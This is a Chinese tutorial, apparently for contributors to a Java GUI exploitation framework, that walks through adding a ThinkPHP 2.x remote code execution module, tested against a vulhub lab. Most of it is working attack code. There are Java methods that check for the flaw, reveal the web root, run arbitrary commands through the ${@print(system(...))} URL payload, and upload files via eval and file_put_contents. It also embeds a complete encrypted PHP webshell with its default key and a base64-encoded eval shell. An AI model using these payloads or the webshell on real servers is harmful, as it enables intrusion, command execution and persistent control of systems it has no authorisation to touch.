为了提高大佬们提交PR的积极性,我也是拼了(这样我就可以名正言顺的偷懒了

0x01 选漏洞,新建文件

比如 ThinkPHP2.x的任意代码执行,使用vulhub搭建漏洞

https://vulhub.org/#/environments/thinkphp/2-rce/

docker-compose up -d 一键搭建

现在还没有ThinkPHP 相关的利用架子,界面显示也没有,只是有个按钮(我特意挑的,从图到exp编写一块教)

1.1 先把界面立起来

src/main/resources下可以看到存在这么多fxml文件,直接复制一个Struts2.fxml,命名为ThinkPHP.fxml 简答方便(若有大佬对界面不满意,请自个调,我不管了)image-20210818201601174

然后将Struts2Controller改为ThinkPHPController, 再将85行的test.jsp 改为 test.phpimage-20210818201939529

会发现爆红,这是因为还没有ThinkPHP的逻辑控制。到这里再复制一份Struts2Controller.java改为ThinkPHPController.java即可

image-20210818202113039

还有一个,你要在界面有个按钮去控制显示,在src/main/resources/fxml/Main.fxml的43行,现在已经有个ThinkPHP的按钮了,如果没有,复制一行<JFXButton …> ,然后将accessibleText改为你新建的**.fxml一模一样的名字,再将text**改成你想显示的名称image-20210818202513653

好了,现在界面好了,运行src/main/java/fun/fireline/AppStartUp.java看下吧

image-20210818202826787

新建一个界面简单吧

1.2 新建exp文件

现在exp包下,还没有新建php相关的漏洞(建包主要是为了方便管理,同类型的,放一个包下)

image-20210818200412029

右键新建java文件,php.thinkphp.ThinkPHP2x ,这表示在php包下的thinkphp包下新建ThinkPHP2x.java文件,没有包则创建包(你就说细不细吧)

image-20210818200550535

image-20210818200831938

一个EXP文件首先要实现ExploitInterface接口,看见爆红不要慌

image-20210818200904924

鼠标悬浮上去,点击实现全部方法(我就当大佬们都不会java。怎么可能呢?!)

image-20210818200947514

框架好了,现在填EXP,具体方法作用一看就懂了,在类中再声明两个属性,一个targe、一个isVul

image-20210818212249668

1.3 代码和界面联动

接下来关注刚新建的ThinkPHPController.java文件,修改49行的 BASICINFOSTRUTS2 属性为image-20210818214305224

使用Ctrl + r 健,将 STRUTS2 全部替换为 ThinkPHP

image-20210818214503421 再添加一个属性,默认上传的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static String SHELL = "<?php\n" +
"@error_reporting(0);\n" +
"session_start();\n" +
" $key=\"e45e329feb5d925b\"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond\n" +
"\t$_SESSION['k']=$key;\n" +
"\tsession_write_close();\n" +
"\t$post=file_get_contents(\"php://input\");\n" +
"\tif(!extension_loaded('openssl'))\n" +
"\t{\n" +
"\t\t$t=\"base64_\".\"decode\";\n" +
"\t\t$post=$t($post.\"\");\n" +
"\t\t\n" +
"\t\tfor($i=0;$i<strlen($post);$i++) {\n" +
" \t\t\t $post[$i] = $post[$i]^$key[$i+1&15]; \n" +
" \t\t\t}\n" +
"\t}\n" +
"\telse\n" +
"\t{\n" +
"\t\t$post=openssl_decrypt($post, \"AES128\", $key);\n" +
"\t}\n" +
" $arr=explode('|',$post);\n" +
" $func=$arr[0];\n" +
" $params=$arr[1];\n" +
"\tclass C{public function __invoke($p) {eval($p.\"\");}}\n" +
" @call_user_func(new C(),$params);\n" +
"?>\n";

238行也修改 test.jsp 改为 test.php

修改image-20210819011243601

这个文件修改完毕,不用动了,以后再添加thinkphp相关漏洞,只需要改BASICINFO中的描述信息(不加也可,翻遍看),ThinkPHP 还是要改的,这个是选择漏洞列表中的东西,往后添加就行。

下面去 src/main/java/fun/fireline/tools/Tools.java文件, 找到184行的getExploit方法。

添加一个判断就行,image-20210818215324824

这就完了,看着图多,其实就几步,主要是为了详细

0x02 写EXP的具体实现

2.1 checkVul - 首先检测漏洞是否存在

Vulhub 也给了payload,方便省事,使用poc打一下,原poc是输出phpinfo,这里改成了输出一串字符image-20210818213036338

转成java,都是最基础的写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 检测漏洞是否存在
@Override
public boolean checkVul(String url) {
this.target = url;
// 这里可以通过判断对方是否执行了 md5 计算,输出 202cb962ac59075b964b07152d234b70 来验证漏洞是否存在
String check_payload = "/index.php?s=/index/index/name/${@print(md5(123))}";
// post 请求,根据不同的exp,可能需要不同的请求方式,看需更改,请求方式基本都实现了,若有遗漏,请提交issues
try {
// 使用 src/main/java/fun/fireline/tools/HttpTool.java 工具包中的 get 方法提交
// 注意 这要用 try catch 捕获一下异常
String result = HttpTool.getHttpReuest(this.target + check_payload, "UTF-8");
// 看回显,是否存在 202cb962ac59075b964b07152d234b70
System.out.println(result);
boolean flag = result.contains("202cb962ac59075b964b07152d234b70");
if(flag) {
this.isVul = true; // 存在漏洞
}
return flag;

} catch (Exception e) {
// 输出错误日志
logger.error(e);
}

return false;
}

写完测试一下

运行AppStartUp.java,测试一下

image-20210818224529463

成功,而且可以设置代理,走bp,看具体流量

image-20210818224612182

image-20210818224629863

2.2 getWebPath 获取网站根目录

这个写不写都行,这里写一下吧,thinkphp 可以通过realpath(__ROOT__)来获取网站的根路径,改下payload就好

/index.php?s=/index/index/name/${@print(realpath(__ROOT__))}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 获取当前的web路径,有最好,没有也无所谓
@Override
public String getWebPath() {
String payload = "/index.php?s=/index/index/name/${@print(realpath(__ROOT__))}";
try {
String result = HttpTool.getHttpReuest(this.target + payload, "UTF-8");
// 这个payload会把 html网页也给输出,这里分割简单去除一下
return result.split("<!DOCTYPE html")[0];

} catch (Exception e) {
logger.error(e);
}
return "命令执行失败";
}

image-20210818230017745

2.3 exeCmd 执行命令

这里先将 isVul方法改一下,命令执行依赖于检测,只有检测存在,才能进行命令执行

1
2
3
4
@Override
public boolean isVul() {
return this.isVul;
}

Payload /index.php?s=/index/index/name/${@print(system(whoami))}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 命令执行
@Override
public String exeCmd(String cmd, String encoding) {
String payload = "/index.php?s=/index/index/name/${@print(system(payload))}";
try {
// 替换payload 中的 payload 字符为要执行的命令
payload = payload.replace("payload", cmd);
String result = HttpTool.getHttpReuest(this.target + payload, "UTF-8");
return result.split("<!DOCTYPE html")[0];

} catch (Exception e) {
logger.error(e);
}
return "fail";
}

测试通过

image-20210818230642660

2.4 uploadFile 上传shell

Payload http://127.0.0.1:8080/index.php?s=/index/index/name/${${@eval($_POST[1])}} 这是网上的payload,上传后使用蚁剑连接即可

虽然,直接使用这个payload也可用,但不方便我们自定义上传的shell马

@bewhale 师傅的 thinkphp利用工具 https://github.com/bewhale/thinkphp_gui_tools 中使用这个payload来上传文件

/index.php?s=/sd/iex/xxx/${@eval($_GET[x])}&x=file_put_contents('bak.php',base64_decode('PD9waHAgJGE9In4rZCgpIl4iIXsre30iO0AkYj1iYXNlNjRfZGVjb2RlKCR7JGF9WyJhIl0pO2V2YWwoIiIuJGIpOz8%2B'));

拿来直接用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@Override
public String uploadFile(String fileContent, String filename, String platform) throws Exception {
String result = "";
// 对文件 base64 编码
String base64Data = Base64.getEncoder().encodeToString(fileContent.getBytes());
// 注意一下,需要对 base64 编码后的在进行一次url编码,
base64Data = URLEncoder.encode(base64Data, "UTF-8" );

String payload = "/index.php?s=/sd/iex/xxx/${@eval($_GET[x])}&x=file_put_contents('" + filename + "',base64_decode('" + base64Data + "'));";

HttpTool.getHttpReuest(this.target + payload, "UTF-8");

// 上传后,访问一次上传的文件,看返回值是否为200来判断是否上传成功
int status = HttpTool.getStatus(this.target + "/" + filename);

System.out.println(this.target + "/" + filename);
System.out.println(status);
if(status == 200) {
result = "上传成功! 路径: " + this.target + "/" + filename;
} else {
result = "上传失败, 请用这个payload,蚁剑连接试一下 /index.php?s=/index/index/name/${${@eval($_POST[1])}}";
}

return result;
}

image-20210819011430581

打完收工